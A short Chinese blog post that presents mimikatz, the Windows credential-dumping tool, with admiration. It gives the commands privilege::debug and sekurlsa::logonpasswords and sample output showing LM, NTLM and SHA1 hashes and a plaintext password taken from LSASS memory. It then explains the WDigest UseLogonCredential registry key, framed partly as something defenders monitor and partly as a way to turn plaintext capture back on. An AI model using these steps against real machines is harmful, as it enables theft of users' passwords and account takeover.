Z-Blog

mimikatz_trunk.zip

一个法国佬写的小程序，实在太给力了，居然可以看到windows的明文密码

http://blog.gentilkiwi.com/mimikatz

用法：

用cmd运行软件，然后按下面的示例打入命令

mimikatz # privilege::debug

Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 515764 (00000000:0007deb4)

Session           : Interactive from 2

User Name         : Gentil Kiwi

Domain            : vm-w7-ult-x

SID               : S-1-5-21-1982681256-1210654043-1600862990-1000

        msv :

         [00000003] Primary

         * Username : Gentil Kiwi

         * Domain   : vm-w7-ult-x

         * LM       : d0e9aee149655a6075e4540af1f22d3b

         * NTLM     : cc36cf7a8514893efccd332446158b1a

         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30

        tspkg :

         * Username : Gentil Kiwi

         * Domain   : vm-w7-ult-x

         * Password : waza1234/

新的windows中禁用了明文密码，但是可以通过注册表开启:

在用户登录之后，会生成很多凭证数据并存储在本地安全权限服务的进程（LSASS）内存中。其目的是为了方便单点登录（SSO）在每次对资源进行访问请求时确保用户不会被提示。凭证数据包括 NTLM 密码哈希，LM 密码哈希（如果密码长度小于 15 个字符），甚至明文密码（以支持其他的 WDigest 和 SSP 认证）。虽然可以阻止 Windows 创建 LM 哈希到本地计算机的 SAM 数据库（或 AD 数据库），但这并不能阻止系统在内存中生成 LM 哈希。默认情况下，在 Windows Server 2008 和 Windows Vista 中不再生成用户的 LM 哈希，除非明确的启用了该功能。从 Windows 8.1 和 Windows Server 2012 R2 开始，LM 哈希和“纯文本”密码将不在内存中生成。此功能也被“移植”到了较早版本的 Windows 中，Windows 7/8/2008 R2/2012 需要打 kb2871997 补丁。为了防止在 LSASS 进程中放置“明文”密码，下面的注册表键需要被设置为“0”（禁用摘要）：

#!bashHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”(DWORD)

此注册表项值得你在你的环境中进行监控，因为攻击者可能希望将它设置为 1 ，启用摘要密码支持，以便在任何版本的 Windows 中，从 Windows 7/2008 R2 到 Windows 10/2012 R2，强制将“明文”密码放置在 LSASS 进程中。在 Windows 8.1/2012 R2 及以后的 Windows 系统中，没有 “UseLogonCredential” 的 DWORD 值，所以必须手动创建。如果在这些系统中存在了该键，可能意味着该系统存在一些问题。